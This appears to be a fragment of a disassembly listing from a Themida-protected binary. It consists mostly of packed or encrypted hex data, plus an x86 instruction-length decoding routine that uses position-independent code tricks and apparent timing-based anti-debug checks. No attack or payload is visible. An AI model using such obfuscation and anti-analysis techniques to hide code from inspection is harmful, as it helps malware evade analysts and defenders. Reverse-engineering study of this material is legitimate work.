		dd 0C1D35970h, 83A1A2BAh, 5AFBF333h, 0C69ABB13h, 11C76FABh
		dd 0A8723206h, 0AC6717C7h, 0AC4674F4h, 653027F7h, 82567798h
		dd 72AB4DCDh, 0CE5917A7h, 7A6A1921h, 0BA9D4159h, 9B4B6D5Ah
		dd 4FFE6345h, 0B5ACEDC6h, 0AFD0666Fh, 56ABB197h, 5970DA10h
		dd 0C1D9E0D3h, 90AAAE9Ah, 291EA7F5h, 54h, 0C3130627h, 2F65ABEFh
		dd 35D35970h, 72AB5A2Eh, 1DEAB5A2h, 70B4EA30h, 0B3BAD359h
		dd 0AB609C9Bh, 0A819A572h, 1D1B7023h, 0C3905B7Ch, 314C8ABh
		dd 0CE8AF416h, 195B6852h, 0C3905B7Ch, 72A48AA2h, 0BEF43A8Fh
		dd 0C4D35970h, 2E29ECBDh, 246C3016h, 0AE000000h, 2C2A1306h
		dd 6FE0F48Eh, 0AB4C2041h, 59702F65h, 9B6FF4D3h,	15C76FABh
		dd 72AB2E02h, 1DEAB5A2h, 0C703CD05h, 0DF180512h, 84511C3Bh
		dd 0CC058F6Ch, 6FD35970h, 8F4CDB46h, 0C7877388h, 0C3180512h
		dd 5970477Dh, 2E464DD3h, 6007D451h, 0B07B9CBBh,	19CCEEEBh
		dd 3936E17Dh, 0F9647F97h, 1CD7F94Eh, 0C369E455h, 52B6ECCAh
		dd 0B5BCD359h, 0FA1DBA9Dh, 5CF6EFE5h, 51F0D359h, 0F9FE1922h
		dd 1B503E5Fh, 0FB1BA715h, 370215C2h, 0DBFC996Ah, 0F2B4310h
		dd 0FFFFFE39h, 7080BA0Dh, 9C56D359h, 72D35970h,	0D359703Bh
		dd 5970D711h, 7073ADD3h, 0F49D359h, 31935970h, 0BD03F024h
		dd 9B0469FCh, 9730FB02h, 0E8FF5375h, 38E6CA2h, 0B16B729Bh
		dd 61795F18h, 9CC58BDh,	0DE00ED0Eh, 6AAF06E7h, 0B4B3CB5Ah
		dd 0AC0D296Eh, 7BCEF0A2h, 0DA4F4342h, 0D1D898B0h, 1B9927D9h
		dd 653DD23Ch, 2E7h, 71C3BDCh, 44597E1Eh, 859ABD5Bh, 0C4D9FE9Ch
		dd 0A1F38DBh, 5D8CDFCh,	4514FD12h, 87543D52h, 0C0927B90h
		dd 43E2C2D7h, 0ABEBC7FDh, 8533CDCBh, 130017C7h,	0AA6D3ADAh
		dd 97748CADh, 2B18FC59h, 53B81D6h, 0BD35970h, 0C7FCEC04h
		dd 0CDDB06EEh, 81BBB1C6h, 48DB06EEh, 832ED226h,	2EFBC6D1h
		dd 90072F74h, 9343D478h, 13D760A6h, 0D6DDE2B4h,	0F93F94E9h
		dd 0E2B413C3h, 7AB0F6C9h, 80E2B413h, 5D405879h,	58AD9ABDh
		dd 0B413DC12h, 0C3DBE2E2h, 0F4E3B39Ch, 136D9F29h, 868FE2B4h
		dd 0EE1B614Eh, 0F4EA6191h, 72AB00EDh, 455205A2h, 0C18CAD7Ah
		dd 59F9DCF4h, 0B6FC513Eh, 0EA619280h, 0E10D197Ah, 1DCB316Ah
		dd 0EED7FE16h, 0BFD87B2Ch, 0AA58E205h, 0D2EE7CDh, 0C3130442h
		dd 0F45F90D6h, 5E65F20Eh, 0C23D4F71h, 98A1E705h, 9AB2D3C4h
		dd 0A5967FBDh, 22D6110Eh, 75628314h, 2235E720h,	82728A57h
		dd 0F9BC20FDh, 21F73003h, 21225836h, 2128F9BCh,	3FDA1300h
		dd 81A2B568h, 2E2FE9B6h, 0A86F604h, 7BD0CFE7h, 0BC879042h
		dd 0B27D9A3Fh, 0C9ACC4E5h, 10F90E09h, 0F47E494Eh, 0F9BBB3BAh
		dd 0AE9B7BDCh, 0BF5B3759h, 0D1C32023h, 79461106h, 1B504058h
		dd 0E20169D0h, 0D011478Dh, 10170169h, 663138F8h, 0FAE72F28h
		dd 11E59FB4h, 0A69EA509h, 0C6F1157Ch, 700EE67Bh, 65000001h
		dd 0A58EA3B4h, 0E2CBE0F7h, 230C2136h, 624B6077h, 818FA4B3h
		dd 99BE5D48h, 0DBFC9B84h, 1F38DDC6h, 6671210Ah,	8CD27151h
		dd 0CBABE956h, 614C25Ch, 92D8C511h, 0DB06EE5Dh,	53915C63h
		dd 0D02512C2h, 6EE548Ah, 3B535ADBh, 0F9F5F63Ch,	44FBE2AEh
		dd 6C648592h, 0FC1CE85Ch, 101EF68Bh, 5000001h, 452E4354h
		dd 826B8097h, 0C3ACC1D6h, 2EB0017h, 212F4453h, 395EFDA8h
		dd 7B9C3B24h, 0BFD87D66h, 611C1AAh, 2C7211F1h, 0CBABE8F6h
		dd 0ABB462FCh, 0C07EF889h, 921D4C0h, 0A474F065h, 83A592B3h
		dd 0BC95D8CDh, 6051D97h, 6A493C0h, 0C79299DBh, 7A8F884Ah
		dd 0BD6C191h, 3ADC48CDh, 6485521Dh, 21A83177h, 0A7AEE2B4h
		dd 0ECEBA992h, 2D2AEED7h, 6FA5EB40h, 75E2B421h,	462F566Eh
		dd 459A8790h, 834E490Ch, 21A2D8B6h, 0A1A8E2B4h,	0DA796289h
		dd 0C497D0BDh, 233B08D3h, 574013FCh, 99BE5942h,	0D9FE9B84h
		dd 1B5197ECh, 21E2B421h, 0F2DB021Ah, 39223720h,	0BA64799Eh
		dd 468C795Dh, 0EA619EBDh, 74F1BCC3h, 8FC8B5A2h,	6801CCCBh
		dd 619DEC22h, 0CAEBF2EAh, 34478BB2h, 70000000h,	9E9FD51Bh
		dd 2066EA61h, 0EA619DEAh, 343BE9F0h, 25DC361Ch,	82C6BA03h
		dd 0E38224BAh, 0CF8A44F4h, 0E81E646Ah, 0EED358F9h, 290CC6E7h
		dd 0F69FF1FBh, 0C702E800h, 0B9360116h, 0B633FE19h, 0AE2BF6E1h
		dd 0A421ECEBh, 9E1BE6F1h, 900DD8FFh, 8502CDCAh,	7CF9C4D3h
		dd 3CF4BFD8h, 81E38953h, 4C3h, 4BA5200h, 29000000h, 1C875AD3h
		dd 89565C24h, 4C681E6h,	83000000h, 348704EEh, 3C895C24h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 81240C89h
		dd 4ECh, 24148900h, 5959B5BAh, 0D7EEBF4Eh, 0D7295606h
		dd 0C8B545Ah, 4C48324h,	8418F57h, 592434FFh, 4C481h, 3C8B0000h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FAF636E9h
		dd 0B8A7F9FFh, 7AD88F7h, 0C38BC503h, 1C8E9h, 8 dup(41888800h)
		dd 4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 300h, 14h dup(0)
		dd 8C200h, 80757366h, 0FEh, 11h	dup(0)
		dd 353E900h, 0E8550000h, 0
aBa_lnEmkn	db ']í_‹­',7,'`Ç…¬Š­',7,0
		align 4
		dd 81660000h, 0FA1663Eh, 0F85h,	0B085C700h, 607AD8Ah, 0E9000000h
		dd 24h,	8AB4858Dh, 8D5007ADh, 0AD8B0485h, 6A565007h, 1DE800h
		dd 0C4830000h, 0FF2510h, 85890000h, 7AD8AB0h, 0B0B50361h
		dd 8B07AD8Ah, 0AD8AAC85h
		db 7, 5Dh, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5DA054
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5DA060
; ---------------------------------------------------------------------------


loc_5DA054:				; CODE XREF: Themida_:005DA03Dj
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5DA060:				; CODE XREF: Themida_:005DA04Fj
		push	ebx
		push	esi
		push	edi


loc_5DA063:				; CODE XREF: Themida_:005DA0B8j
					; Themida_:005DA0D4j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5DA076:				; CODE XREF: Themida_:005DA09Dj
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7AD8C16h
		lea	ebp, [ebp+7AD8A8Ch]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5DA0A3
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5DA076


loc_5DA0A3:				; CODE XREF: Themida_:005DA092j
		cmp	cl, 0Bh
		jz	loc_5DA100
		cmp	al, 66h
		jnz	loc_5DA0E1
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5DA063
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5DA0D9
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5DA063
; ---------------------------------------------------------------------------


loc_5DA0D9:				; CODE XREF: Themida_:005DA0C6j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5DA0E1:				; CODE XREF: Themida_:005DA0AEj
		cmp	al, 67h
		jnz	loc_5DA063
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5DA063
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5DA063
; ---------------------------------------------------------------------------


loc_5DA100:				; CODE XREF: Themida_:005DA0A6j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5DA12C
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5DA131
; ---------------------------------------------------------------------------


loc_5DA12C:				; CODE XREF: Themida_:005DA10Bj
		movzx	edi, al
		shr	edi, 1


loc_5DA131:				; CODE XREF: Themida_:005DA127j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7AD8CCEh
		lea	ebp, [ebp+7AD898Ch]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5DA2B3
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5DA1F7
		dec	ecx
		jz	loc_5DA1DA
		dec	ecx
		jnz	loc_5DA24A
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5DA246
		cmp	byte ptr [ebp-5], 0
		jz	loc_5DA1B9
		mov	byte ptr [ebp+0Bh], 2


loc_5DA1B9:				; CODE XREF: Themida_:005DA1AFj
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7AD8D5Ah
		mov	dword ptr [ebp+7AD8AACh], 1
		pop	ebp
		jmp	loc_5DA24A
; ---------------------------------------------------------------------------


loc_5DA1DA:				; CODE XREF: Themida_:005DA194j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5DA224
		cmp	byte ptr [ebp-5], 0
		jz	loc_5DA224
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5DA224
; ---------------------------------------------------------------------------


loc_5DA1F7:				; CODE XREF: Themida_:005DA18Dj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5DA23D
		cmp	byte ptr [ebp-5], 0
		jz	loc_5DA22C
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5DA224
		mov	[ebp+0Bh], cl


loc_5DA224:				; CODE XREF: Themida_:005DA1DEj
					; Themida_:005DA1E8j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5DA24A
; ---------------------------------------------------------------------------


loc_5DA22C:				; CODE XREF: Themida_:005DA205j
		cmp	dl, 5
		jnz	loc_5DA24A
		mov	[ebp+0Bh], dl
		jmp	loc_5DA24A
; ---------------------------------------------------------------------------


loc_5DA23D:				; CODE XREF: Themida_:005DA1FBj
		cmp	dl, 6
		jnz	loc_5DA24A


loc_5DA246:				; CODE XREF: Themida_:005DA1A5j
		mov	byte ptr [ebp+0Bh], 3


loc_5DA24A:				; CODE XREF: Themida_:005DA19Bj
					; Themida_:005DA1D5j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5DA278
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5DA25A:				; CODE XREF: Themida_:005DA270j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5DA25A
		mov	esi, edx


loc_5DA278:				; CODE XREF: Themida_:005DA24Dj
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5DA2AD
		cmp	edi, 7Fh
		ja	loc_5DA2AD
		test	bl, 38h
		jnz	loc_5DA2AD
		cmp	byte ptr [ebp-7], 0
		jz	loc_5DA2A7
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5DA2AA
; ---------------------------------------------------------------------------


loc_5DA2A7:				; CODE XREF: Themida_:005DA298j
		push	1
		pop	eax


loc_5DA2AA:				; CODE XREF: Themida_:005DA2A2j
		mov	[ebp-1], al


loc_5DA2AD:				; CODE XREF: Themida_:005DA27Cj
					; Themida_:005DA285j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5DA2B3:				; CODE XREF: Themida_:005DA15Dj
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5DA2DE
		dec	eax
		dec	eax
		jz	loc_5DA2D4
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5DA2E6
; ---------------------------------------------------------------------------


loc_5DA2D4:				; CODE XREF: Themida_:005DA2C3j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5DA2E3
; ---------------------------------------------------------------------------


loc_5DA2DE:				; CODE XREF: Themida_:005DA2BBj
		mov	al, [ebp-3]
		add	al, 4


loc_5DA2E3:				; CODE XREF: Themida_:005DA2D9j
		add	[ebp-1], al


loc_5DA2E6:				; CODE XREF: Themida_:005DA2CFj
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5DA30E
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5DA2F9:				; CODE XREF: Themida_:005DA308j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5DA2F9


loc_5DA30E:				; CODE XREF: Themida_:005DA2EEj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	85h, 59h
		dd 8907AD8Bh, 0A803D585h, 0B78D8D07h, 6A07AD8Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 4C42C355h, 0BD8910F3h, 7A8223Dh, 6657D480h, 0BDC3EE81h
		dd 17318D89h, 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 2C9DAEC3h, 85C75852h, 7A80A59h
		dd 704Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	4CC35343h, 0AE9h, 23544700h, 70E2AF2Bh,	0BE5C2761h
		dd 5E340B90h, 93985C7h,	7A8h, 810F0000h, 6, 2EDB509h, 0BD8B07A8h
		dd 7A8215Dh, 0AFDB5FFh,	6A07A8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0BB6600C3h, 95FFD115h
		dd 7A81A99h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0DAC35343h, 0FF006ADFh,	0A80D2195h, 0EBC08B07h
		dd 0DC1D4928h, 0F233235Ch, 6EC67886h, 6FBE066Eh, 2490D367h
		dd 74C13858h, 2B540FB8h, 0D350D0AEh, 5E900DABh,	0B87C5E2Eh
		dd 13CE947h, 4Fh dup(0)
		dd 0BD830000h, 7A80DFDh, 0BC840F01h, 60000005h,	8BCE8051h
		dd 0E961F95Bh, 11h, 62FAA03Ah, 0DB7313BEh, 5BD74A33h, 66F1A996h
		dd 1985C6E2h, 4307A806h, 4E8FCh, 0D0F50000h, 5250ECA5h
		dd 61605250h, 6160310Fh, 310F585Ah, 14E9h, 0DDBCF100h
		dd 81F875DBh, 492EE38Ch, 982B1E5Ch, 24BB1240h, 50585AA5h
		dd 0B8D0Fh, 6E90000h, 21000000h, 0AD6F641Dh, 24448BCAh
		dd 50525004h, 0F525052h, 0F585A31h, 12E931h, 45E50000h
		dd 0FDDA093Fh, 0E84259C6h, 0A27C082Fh, 0D139C3C8h, 310F585Ah
		dd 860F5250h, 0
		dd 8A0F310Fh, 0
aZxzxl		db 'ZXZX‹',0
		dw 0CE9h
		dd 96000000h, 191AB31Dh, 1AB4C3D5h, 89A97B74h, 50042444h
		dd 0BA666052h, 0CE9F6B0h, 0D5000000h, 0CD9E0871h, 0A5A3408Fh
		dd 61F33E03h, 8A60310Fh, 0F5250E3h, 61585A31h, 0FC58585Ah
		dd 0CE1B5FFh, 8DF507A8h, 0AB781A85h, 11850F07h,	0E9000000h
		dd 0Ch,	6756A674h, 2F85F280h, 504066AFh, 6AD0FFh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0AD9B1DC3h, 6E9ED7Eh, 9B000000h, 6BB2441h, 698589A1h
		dd 0E907A815h, 11h, 2864884Eh, 0E6C55807h, 6F71B2ACh, 92F366F0h
		dd 1985C66Bh, 5007A806h, 1820Fh, 0E8F80000h, 4,	0A8ADAD56h
		dd 52E28A60h, 0C1EA1BBEh, 50615E65h, 52505250h,	0EE9h
		dd 0F4AB8C00h, 77474EA5h, 0DA5C65B5h, 0FE64552h, 5A616031h
		dd 0F310F58h, 1289h, 0DE900h, 3CE0000h,	71A0D7D9h, 6C25C4EDh
		dd 5A7E8790h, 24448B58h, 11E904h, 0A0CB0000h, 61C33025h
		dd 0E69D18F0h, 3FBD4C34h, 8BDDBCF1h, 0C800F00h,	0F000000h
		dd 68Ah, 8D0F00h, 89000000h, 0F042444h,	881h, 0B9666000h
		dd 0F28BCD2Ch, 0FFFC5861h, 0A80CE1B5h, 13E907h,	9E240000h
		dd 35C364B1h, 0E0089377h, 8D2708E0h, 0ADA1CF05h, 1A858DDCh
		dd 0E907AB78h, 7, 0B7CFEB56h, 0FF38E895h, 8589F9D0h, 7A81CDDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 17C35545h
		dd 0AA98E5FEh, 0EDA6DDA9h, 6568F873h, 50881771h, 0BA666052h
		dd 0CB62A20h, 0F310F61h, 68Ah, 8F0F00h,	5A000000h, 24048158h
		dd 687836CAh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	26C35545h, 0ABB68941h, 0E1B5FF46h, 0F07A80Ch, 1883h
		dd 13E900h, 82440000h, 0BB58FDCCh, 1D6B6AAAh, 61C8D036h
		dd 9159070Fh, 1A858D59h, 0F907AB78h, 12E9h, 29BEB800h
		dd 0DDDFC758h, 9AC5744Ch, 5E68C42Ah, 0FF0AA2B6h, 0B8F0FD0h
		dd 60000000h, 0FF8B70Fh, 86h, 85896100h, 7A81841h, 13E9h
		dd 0FE7A6D00h, 0F343E152h, 0BAAE7559h, 823C8108h, 25884514h
		dd 61985C6h, 605007A8h,	0E86EF680h, 0Ah, 606CD588h, 12825A15h
		dd 12E97AF5h, 6C000000h, 6102EF8h, 1EBF4678h, 268BC9A4h
		dd 3ED15D0Dh, 686159B1h, 0F0CF80BDh, 88C0Fh, 8E0F0000h
		dd 2, 34816160h, 535CEB24h, 1A810F67h, 60000000h, 0EE8h
		dd 77FB8C00h, 0C99F8209h, 0EF120C2Ch, 5FBB8E38h, 4631B966h
		dd 95B5FF61h, 6007A818h, 0BE9h,	24F49C00h, 0B7E2348Ch
		dd 0C661414Eh, 0DEA9B860h, 0F3815C07h, 597454A7h, 13E96161h
		dd 0E5000000h, 2399BE28h, 737B769Eh, 0C7BFC543h, 99A46EDCh
		dd 858DA359h, 7A83BDFh,	1870FFCh, 0F9000000h, 0E960D0FFh
		dd 14h,	9BA281B6h, 953B28D8h, 0AA3F9094h, 0AA7EE086h, 3F6C85Fh
		dd 9340BE66h, 188F0F61h, 0F000000h, 1285h, 0DE900h, 0A3A40000h
		dd 0D0F10B29h, 0F992C93Dh, 89457934h, 0A807D985h, 0E9616007h
		dd 1ABh, 64F18060h, 0D81228BFh,	7E9616Ch, 0ED000000h, 0B11814D7h
		dd 0E9951D5Eh, 12h, 0E7D4E15Dh,	6B56EAFh, 81C5458Bh, 2AE4D8D7h
		dd 0F5078EEh, 0F89h, 0AE900h, 3D9C0000h, 2F41543Dh, 481A606Bh
		dd 0EC8BF895h, 18B0Fh, 83F80000h, 6AFCC4h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0A5479CC3h
		dd 14E9FFh, 0FDA10000h,	50994D9Bh, 0C7CF7BE2h, 0F3D7522Ch
		dd 5B24E14Dh, 0E9603EADh, 10h, 1E30AAB9h, 3C270157h, 0FD7DADC8h
		dd 0A735F3DFh, 0E8h, 0EA815A00h, 7AD95E8h, 0FC45C7h, 83000000h
		dd 0A80DFDBAh, 840F0107h, 98h, 6A006A52h, 6992FF0Fh, 5A07A815h
		dd 8FE98289h, 9A8D07ADh, 7AD8FEDh, 2803C752h, 53000001h
		dd 0DD92FF50h, 5A07A81Ch, 0ED9A8D52h, 5307AD8Fh, 8FE9B2FFh
		dd 92FF07ADh, 7A807D9h,	74C00B5Ah, 0ED9A8D50h, 8D07AD8Fh
		dd 0C933247Bh, 104F981h, 0D4740000h, 393C8141h,	4558452Eh
		dd 348DEE75h, 0C752B39h, 0E5BA8Dh, 4D8B07A8h, 32A4F30Ch
		dd 0FF52AAC0h, 828D0875h, 7A800E5h, 4192FF50h, 5A07A818h
		dd 0A075C00Bh, 1FC45C7h, 0EB000000h, 0FC45C707h, 0
		dd 0FC458B61h, 8C2C9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0D3C35343h, 7E9C2h, 66770000h, 0EB4F0DD8h
		dd 0AE96096h, 30000000h, 1F57BC63h, 17400367h, 0EBF665Bh
		dd 8E96170h, 0C3000000h, 0D0AF091Ah, 8B49636Bh,	7E8D2h
		dd 9EFD0000h, 0CACEB128h, 815BFCB2h, 62D3C3h, 0D3DBBA00h
		dd 0BF11CCh, 8B000000h,	3B0C8BD3h, 8F0Fh, 0F1810000h, 12DCC4Eh
		dd 8E9h, 0E2CE9900h, 0E6A1A659h, 95C18100h, 813B49F6h
		dd 0F9F129C1h, 6E802h, 6B070000h, 863D27F8h, 9F0EBE66h
		dd 0B70F5158h, 3B048FF1h, 0E9C1B70Fh, 6, 47F62476h, 0EF81F66Fh
		dd 542B0B96h, 88E0Fh, 81560000h, 79E9B9DAh, 0C7815E69h
		dd 542B0B92h, 3820Fh, 0B70F0000h, 0FF81F1h, 0FFFFF9Eh
		dd 1485h, 3AE9F900h, 97000000h,	7E837EEBh, 0E7F977EBh
		dd 0F67467BAh, 12E917h,	845B0000h, 0EB894CE0h, 4D877578h
		dd 6C7A8B4Dh, 9B350F7Fh, 0FFFF54E9h, 9D6A3FFh, 637AF033h
		dd 85336C8Eh, 3821E246h, 12E8C0h, 46A40000h, 0E168DD23h
		dd 0B86A19F9h, 26EFA0B5h, 20E74FB9h, 8870Fh, 0F570000h
		dd 8Fh,	0F5E5B00h, 81h,	0D3C68100h, 81000068h, 50684CD3h
		dd 687Ch, 8F0F0000h, 5,	8CBA48BFh, 47BB5A07h, 0FF1866E1h
		dd 0D98A3234h, 59BB6659h, 0D4C18143h, 0F1978CEh, 0C181DEB7h
		dd 74B4C4F1h, 800F50h, 58000000h, 0C7ABC181h, 0B70F394Fh
		dd 800F51D8h, 5, 91EF8166h, 16048F7Ah, 0FE8C38Bh, 83000000h
		dd 4D60347Ah, 0F8645880h, 44B92D76h, 81667407h,	5B5832DFh
		dd 5703EA83h, 0AE956h, 83820000h, 49288622h, 0F9DE9706h
		dd 8B4A585Fh, 0F8FA81C6h, 0FFFFF97h, 0FFFF8685h, 7E9FFh
		dd 67800000h, 4D74549Ah, 0A68D8DCCh, 0E807AD99h, 13h, 2B1F6BFCh
		dd 0A2A7004Bh, 3AD26B51h, 6E6FF76h, 518CEFE6h, 58C8CF80h
		dd 1858B5Ah, 8907A80Eh,	0A817318Dh, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 461D7B48h
		dd 89ECBACAh, 95897E4Bh, 7A81E31h, 0A5985C7h, 5BA007A8h
		dd 66600000h, 0A79CC281h, 12E8h, 0F9EF5900h, 96A80AFh
		dd 9948D15Fh, 5778ADC5h, 3332C32Bh, 0A81965B5h,	0C7615807h
		dd 0A8093985h, 7, 95335700h, 7A80F31h, 0BDB5FF5Fh, 6A07A814h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0E654C351h, 0FE1549Dh, 18Eh, 95FFF800h, 7A81A99h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 79C35141h
		dd 869D78C3h, 1ACC71D1h, 6830Fh, 9D8B0000h, 7A8325Dh, 95FF006Ah
		dd 7A80D21h, 4FEBC08Bh,	0A8993585h, 1BDE69B4h, 4F431D26h
		dd 0BD131041h, 0CFC2886Ch, 9A3C3924h, 126E221Bh, 0DAC255A9h
		dd 7F571CF8h, 5074B00h,	6A2D21B1h, 0F4FADAF4h, 0AD7E6DAAh
		dd 0ECDE80A3h, 1477A06Dh, 516CD478h, 941F4E0Dh,	3C9F8F52h
		dd 1FD6B180h, 6C8EBCECh, 361F5313h, 902B77BFh, 35F23563h
		dd 48062171h, 0FD7A5D35h, 55FC8C70h, 3181CF85h,	5033B185h
		dd 0B0D121F1h, 621D2505h, 58352988h, 0FD3C8D32h, 3C338C01h
		dd 0F30F438Bh, 0C2F6505h, 87598C35h, 0C3306465h, 0B9138C35h
		dd 0B4BAD4F6h, 3CB28811h, 3C2E8811h, 4E738C35h,	279703F6h
		dd 9A062D72h, 0A55E82A5h, 4DDB46B4h, 0DAE231B6h, 77338B9Dh
		dd 3C3382B1h, 608CEA35h, 0DEF65BFh, 6558C35h, 4EA4A5E3h
		dd 4CA996B0h, 0A0A37432h, 238CEA67h, 330283D4h,	1E338FB0h
		dd 0F4B8EA35h, 0C63D46Fh, 48551CFEh, 1DB601FBh,	9A3421ACh
		dd 7BDBDF35h, 1C338C35h, 97684F6Eh, 8E37A869h, 9D37A871h
		dd 80338C35h, 0F4BD4F66h, 96509EEDh, 91B2EA09h,	0D5A34D21h
		dd 1E338C33h, 0C19E74h,	6E63BE3Bh, 0C3338C38h, 435E4A7Ch
		dd 99D4B23Ah, 0D362EE4Ah, 3C591CCEh, 1E306466h,	54138C35h
		dd 0DBBAD7F6h, 87B28811h, 0E12E8811h, 0A3708C35h, 0D72341F6h
		dd 1282784h, 0E1DB49A7h, 0A70335A0h, 95DAEC32h,	4A338C35h
		dd 15F92C9Fh, 0A242134Fh, 0C2E8C01Fh, 0B42DF706h, 0C68483E1h
		dd 5DF30754h, 69B2EA55h, 21B2D8F0h, 0B6BE9BEBh,	4DB0D654h
		dd 7F9BABCCh, 0BF3AF935h, 0B6358988h, 16478C32h, 47B8DF65h
		dd 0C337F68Dh, 64B60535h, 7D342410h, 0D283AFA8h, 67E07332h
		dd 1B8E0F6Dh, 0F342433h, 0D4639B41h, 0C337F68Dh, 64B60535h
		dd 7D342410h, 0D29E9EA8h, 67E07332h, 0C4B2EA6Dh, 0F59A09Fh
		dd 87306467h, 99138C35h, 0B5BAD6F6h, 0B4B28811h, 78298811h
		dd 6E718C35h, 4B7812F6h, 0E3F59A09h, 0CC00753h,	4E313AF5h
		dd 4CA988A8h, 75BE7532h, 7F9EF7AFh, 3C3385DCh, 0B5E8C735h
		dd 460D95C0h, 57CC5EF9h, 0C331013Ah, 31B88C35h,	0CE6042B4h
		dd 0B83882A9h, 3C75083Ah, 943C8C35h, 0F338C30h,	0E6537455h
